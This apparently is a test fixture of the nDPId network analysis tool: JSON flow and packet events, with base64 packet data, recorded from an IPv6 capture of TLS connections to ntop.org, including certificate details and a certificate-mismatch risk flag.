+00631{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":637296,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAJ4GQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkm4Bu5jVbkcqpnD9gBgBO2uQAAABAQgKEg13NgBerPAWAwMARhAAAEJBBNWDt8ZrBvz5dueP\/aomnZb+jhQ+bA7OfrnRoZ5xj8q3Xbd9m9fa4XdUTQKHEW6053f0odL76ZWoQqwcQ0AD5LAUAwMAAQEWAwMAKAAAAAAAAAAA7SA6uYWEmcQRKWMFkBZdArEL8RdWN3BYP7\/siN6rDgs="} +00634{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":638739,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAJ4GQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxniJDquC4gBgBOGuQAAABAQgKEg13NwBerPAWAwMARhAAAEJBBCi8P\/EExM0Xu6JZErQb\/mrysQLciXK\/MPBwDe3\/RtXCA+1TMXC6HMw2Ppf0shM99s4lIkFKPpuBs2liuhCpjNUUAwMAAQEWAwMAKAAAAAAAAAAAMjj9iBhSXJD0M52DevX+Zy3OY\/d+OUBXzGhOg7EaYwE="} +00834{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":662716,"pkt_caplen":360,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":360,"pkt_l4_len":306,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAATIGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSbiqmcP2Y1W7FgBgAdPOOAAABAQgKAF6s9xINdzYWAwMA2gQAANYAAAEsANDvs7P+YV2DQXBR8VMRR3R3+FYD6ruT+88SfAh8\/ipBVAOE\/znv5aOKbfxLJ3YLcML1yHkoXhtJqf4fucgCiUMz1QnwmpKsW26RivEQGC0aDsa2SsipsGin44HeEKpW3F4Lc2uU55bm+6jt8as8leWnaMHORPiPT\/TDG\/OOzmZwWA+MPtvMGH0\/ljSD3cI8CaDYdOn3sie3Zo6yx5znlgAQlprws4QTlVJ9CnAzVbgmfiU\/oqEOmBxsBBwWW\/HzBEUlHHXRPgsmXUEnv5CR6L\/CFAMDAAEBFgMDACitfhmnzMbAv4BSmsiQxmmUIf8SgXwkDA4ZvlUvdoj5dGTiUd6WawoI"} +00833{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":664165,"pkt_caplen":360,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":360,"pkt_l4_len":306,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAATIGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuScEOq4Liw8Z6ggBgAdHBVAAABAQgKAF6s9xINdzcWAwMA2gQAANYAAAEsANDvs7P+YV2DQXBR8VMRR3R3Gkq0wSBn+JJrOvPDuGcaeSeQYfYW8XiToXNfzxX95HoarO9PH5fFlOD2LF\/WhIJ8kZHn6PO5gYzl01z8hqzsfijA0jKKV2GWrCRSGwu1bJ9vtgZ2uQlA3t7EDCyA8mtvJmvqOeLY2b2QRZUZ\/jiGR6S\/LaH7oJTBUtddg1SBi1CGaieQtSjIJyikpKr0pxp12OU7\/ICH73vQdw\/07zVK5fWlbYmyKox0BfYySBx5X8Uz3QifaButrbMN+nd9JkWcFAMDAAEBFgMDACiEuSuOd0g+FPcdT\/BvxyVDi\/LHUtOzqJIxutwBfqrrX+uxTroXvDIw"} +00458{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":701994,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxnqBDquHKgBABTmsSAAABAQgKEg13RwBerPc="} +00458{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":721261,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxnqBDquHKgBEBTmsSAAABAQgKEg13SwBerPc="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":120,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1448269139219,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37494,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":219031,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACgGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknYBuw4c9NoAAAAAoAJwgGsaAAACBAWgBAIIChINd8gAAAAAAQMDBw=="} +00470{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":239626,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACgGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSdnTlL8YOHPTboBJvkPn2AAACBAWgBAIICgBerYcSDXfIAQMDCA=="} +00458{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":239713,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknYBuw4c9Nt05S\/HgBAA4WsSAAABAQgKEg13zQBerYc="} +00746{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":239900,"pkt_caplen":298,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":298,"pkt_l4_len":244,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAAPQGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknYBuw4c9Nt05S\/HgBgA4WvmAAABAQgKEg13zQBerYcWAwEAzwEAAMsDAxNG7IQgXbVqJt444LAcQyYZDBjNyphCo4eH+1bCSic4AAAgzBTME8wVwCvALwCewArAFAA5wAnAEwAzAJwANQAvAAoBAACC\/wEAAQAAAAARAA8AAAx3d3cubnRvcC5vcmcAFwAAACMAAAANABYAFAYBBgMFAQUDBAEEAwMBAwMCAQIDAAUABQEAAAAAM3QAAAASAAAAEAAdABsIaHR0cC8xLjEIc3BkeS8zLjEFaDItMTQCaDJ1UAAAAAsAAgEAAAoABgAEABcAGA=="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":123,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1448269139219,"flow_last_seen":1448269139239,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37494,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00458{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":260425,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSdnTlL8cOHPWvgBAAdJbuAAABAQgKAF6tjBINd80="} +02384{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":263228,"pkt_caplen":1514,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1514,"pkt_l4_len":1460,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABbQGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSdnTlL8cOHPWvgBAAdKEoAAABAQgKAF6tjRINd80VAwMAAgFwFgMDAEECAAA9AwPZKCPjZPliuXEyb5\/i+kCdBwZ0PhXjXwwbzR8X949FEwDALwAAFQAAAAD\/AQABAAALAAQDAAECACMAABYDAxDjCwAQ3wAQ3AAFTzCCBUswggQzoAMCAQICEGlwh8ZXzEdaqUNvI9+NN8MwDQYJKoZIhvcNAQELBQAwgZAxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTYwNAYDVQQDEy1DT01PRE8gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMTUxMTE1MDAwMDAwWhcNMTgxMTE0MjM1OTU5WjBRMSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxFDASBgNVBAsTC1Bvc2l0aXZlU1NMMRYwFAYDVQQDEw1zaG9wLm50b3Aub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzR6BIHt+rHaCaBL\/qKK36Y6zgLZa7uQ42uYff0TmO+nrjezjVzokWSc+b7XT8xiQLH5AkqJ9Lf\/\/NeqkB1fm7\/K3k27TQzmGn0gZ\/gjZ0up1RGHlcWqkmBgu1hm4kF0hAptThu\/QQTHz6OE2C2JERem\/TCFrM+LeqAlRcK\/9iYu2odCWrMkYWJu1Zur8eL0LtVyxc3kqCMWwu7at46P1qNP8vTbSQDxFLJTvozfhfIr+zQT412txGL1UCyQye5MRn5Abou0RkIjFXoM+zdLQQC3yVy\/Jd1s9wnLEcoBoeKxiqK5BJxLO\/3yH8uWwyg8YUFbd5+1cgJHdZ69cFgM4ZwIDAQABo4IB3TCCAdkwHwYDVR0jBBgwFoAUkK9qOpRaC9iQ6hJWc99DtDoo2ucwHQYDVR0OBBYEFJAVUwm3FdB8i+jm6lJjVmDmcoYFMA4GA1UdDwEB\/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBPBgNVHSAESDBGMDoGCysGAQQBsjEBAgIHMCswKQYIKwYBBQUHAgEWHWh0dHBzOi8vc2VjdXJlLmNvbW9kby5jb20vQ1BTMAgGBmeBDAECATBUBgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vY3JsLmNvbW9kb2NhLmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EuY3JsMIGFBggrBgEFBQcBAQR5MHcwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNvbTArBgNVHREEJDAigg1zaG9wLm50b3Aub3JnghF3d3cuc2hvcC5udG9wLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEABHga0CoUddKc8gTKl8pscY7onSvxASeGg6n14z8FhR2xLi3sQM93tAHGjfXnqbvor3abNIZbNbF0KzRdqJu4Pf8lRVflEivDChvy3JGmTgemN9zWuDPZ57rHKIP2WX88hJ\/PhjhgpWwDlVARS9gLCvB+ao\/MqFUPnRHIB\/ozv+GFroJaou2ptXCVpGzEcU5eeKmEk7EDV1FIeaLukxlf2pdWAhu92nfkdMVk7CEaYe2jnnRpGgH3FSI7e35KuJ6qcNoKFw3CRdQMfoBimHtdql+6OuUlCrOYGYcfLlT2dHNLRy5B10L6oRI="} +00823{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":125,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1448269139219,"flow_last_seen":1448269139263,"flow_tot_l4_data_len":1848,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37494,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00457{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":263266,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknYBuw4c9a905TVbgBAA+GsSAAABAQgKEg130wBerY0="} +02373{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":263309,"pkt_caplen":1514,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1514,"pkt_l4_len":1460,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABbQGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSdnTlNVsOHPWvgBAAdNP5AAABAQgKAF6tjRINd80a7lRZZvgTMcu9Q3ViDTlQU1VpfPinQgAGDDCCBggwggPwoAMCAQICECsuburZdTZsFIpu26N8jAcwDQYJKoZIhvcNAQEMBQAwgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0MDIxMjAwMDAwMFoXDTI5MDIxMTIzNTk1OVowgZAxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTYwNAYDVQQDEy1DT01PRE8gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCOwgIZ4aBZpOs4NY0s\/QHQ00nAZMcLYgVFFjqooMAMAn8dzNvEoW13A6MPhvnjBpw+C4GKm0kbrQO++kvbjCDt1c5eZY4+Da9MwrC3RV5SLzTeSCRktEGuAJf3vmfentB6p1OAO3yt9ZZVb5dHCnyFiyKXjbOE4JZX0HAYYJaP7i0Hk52husrRzXvpxCqaKCGRTW+STyWl8no13SbcRqXQrFk1jP9OkUNQP1mTHmxRIe5YFKv+dVB4PkywHIYT+muYvOA7lB6FUtwDkyQYbssnUUXmcN4lQ6QN4Uql7bZ+yM1t7i4dJ3Nd3EUwgKrjskELr71Eh9q55Rudf67lhYKlAgMBAAGjggFlMIIBYTAfBgNVHSMEGDAWgBS7r34CPfqm8TyEjq3uOJjs2TIy1DAdBgNVHQ4EFgQUkK9qOpRaC9iQ6hJWc99DtDoo2ucwDgYDVR0PAQH\/BAQDAgGGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBsGA1UdIAQUMBIwBgYEVR0gADAIBgZngQwBAgEwTAYDVR0fBEUwQzBBoD+gPYY7aHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBQ2VydGlmaWNhdGlvbkF1dGhvcml0eS5jcmwwcQYIKwYBBQUHAQEEZTBjMDsGCCsGAQUFBzAChi9odHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FBZGRUcnVzdENBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2RvY2EuY29tMA0GCSqGSIb3DQEBDAUAA4ICAQBOK3ZPkhxiNom6d8EnBfQc1kSdqZo+qtVmZgE+6knmojW8+vbdlY6ZNZgONhh1sd3dUHJ8rtx3iM4P95AgyqNnLh9Wf3vhROpClcRdDQFQRhXygYlZbIrdjPESoY06QoqY+Es0eyc7CLRvJDtynWN0WDwabD9PxxGayKj1tTfvEEXGbNngXpUms+uto7nufwyaZjVzMmBO5d2KYSxuUhF3aJbTGHVRFQAbdIjd4cc4BEMo6Rb92QXUXUcnYNb7ODtscqKU+EIa3+1vBoxFwgYAquTo3Nm14XN47PYj3NHdbI4aj6XqVHyWt8P+VY6NSV78ZLvPPr2W62nNv+BI8WKCEOUMRlfyM9rQyGPtxh+UBZZKGpHR9+vPj1KuDQjZPqigUenBh3TVyfd0qy5T+7t6+5fi+B8mj7PSoOA3Wyg7MeUOVy1auK15rF4gZhqluaa1OcH1mEP\/7vmnp\/3uyiQ9gBbEF4+KwWChDK5bQ0c="} +00457{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":263329,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknYBuw4c9a905TrvgBABDmsSAAABAQgKEg130wBerY0="} +02135{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":263377,"pkt_caplen":1326,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1326,"pkt_l4_len":1272,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABPgGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSdnTlOu8OHPWvgBgAdHo4AAABAQgKAF6tjRINd82RS9WaF1\/51IfBwoy35+IPMBk3hqzg3EID5pSona79DyRRlM6SCNH8UPADQHuIWe0O3azSd4I03AaVAtiQ+S3qN9UaYNBnINfYQgtFr4Jo3t1mJDeQKZQZRhkluIDXy9SGKGpEcCYjYqmfhm+\/upBw0lZ3hXjv6iWpF85QcowAOqrj22M0n\/gGcQHigiDU\/m+9sQAFeDCCBXQwggRcoAMCAQICECdm7lbrSfOOq9dwovyE3iIwDQYJKoZIhvcNAQEMBQAwbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ4MzhaFw0yMDA1MzAxMDQ4MzhaMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJHoVJLSClaxrA0k3cXPRGd0mSs3o30jcABxvFPfxPoqEo9LfxBWvZ9wcrdhf8lLDxenPeOwBGHu\/xGXx\/SGPgr6Plz5k+Y0etkUa+ecs4Wggnp2r3GQ1+z9DfqcbPrfsIL0FH75vsSmL09\/mX+1\/GdDcr0MANaJ62ss0+2PmBwUq37l42782KjkkiTaQ2tiuFX96sG8bLaL8w6NmuSbbGmZ+HhIMEXVreENPEVg\/DKWUSe8Z8PKLrZr6kbHxyCgsR9l3kgIuqROqfKDRjeE6+jMgUhDZ05yKptcvUwbKIpcInu0q5jZ7uBRg8MJRk5tPpn6lRfafDNXQTyNUe0LtlyvLGMa31fIP7zpXcSbr0WZ4qNaJLS6qVY9z2+q\/0lYvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHAQEEKTAnMCUGCCsG"} +00459{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":263396,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknYBuw4c9a905T\/HgBABJGsSAAABAQgKEg130wBerY0="} +01349{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269139,"pkt_ts_usec":267415,"pkt_caplen":742,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":742,"pkt_l4_len":688,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAArAGNyoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSdnTlP8cOHPWvgBgAdF4MAAABAQgKAF6tjhINd80BBQUHMAGGGWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wDQYJKoZIhvcNAQEMBQADggEBAGS\/g\/FfmoXQzbihKVcN6Fr30ek+8nYEbvFScLsePP9NDXRqzIGCJdPDoCpdTPW6i6FtxFQJdcfjJw5dhHk3QBN39bSsHNA7qxcS1u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLYUspzgb8c8+a4bmYRBbMelC1\/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI\/V5eu+MtWuLt29G9HvxPUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vRpu\/xO28QOG8WAwMBTQwAAUkDABdBBD2xb2w+AyhgNL1Ea+IB6gNLJPQe17qolJGh73dEAol4RjGQeSFOD\/NPmT77Q3Viq201duRUnw52HMOYpmrx950GAQEAOj5A6WoO+xMEjQDDWMDSGXl4yufn+BZYB8IoL9LZnLHq5TRppVGDQrNSIC9fNsZjGiZq1zv7P5+8bfL05O4O1UZTc9ix8YVecK5J+PSSXkTiRYDTgrfY0tNmZTvnWhe5ASHBpm\/XLdIirEgicq3XUYXIn9ovidsbgahnWcf1fBFOffvfGPhK\/QM4GgIIX7vHn3xyeOpKkDm2zQ5\/R2v9ojV1r6K6suLl+rqARg3+0euzjfwEZdKgoJuGqJGlPe5EGcRLcCUahd3XmQDu9UVTjCsuleyd3Cz7i\/a2oC+kIVtCkl0roGGSqcgQvzigOJ847ejeL6su8Yoi\/mghciZcNhYDAwAEDgAAAA=="} +01194{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":131,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":12,"flow_first_seen":1448269139219,"flow_last_seen":1448269139267,"flow_tot_l4_data_len":5364,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":447,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37494,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"10":"TLS Certificate Mismatch"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","server_names":"shop.ntop.org,www.shop.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL, 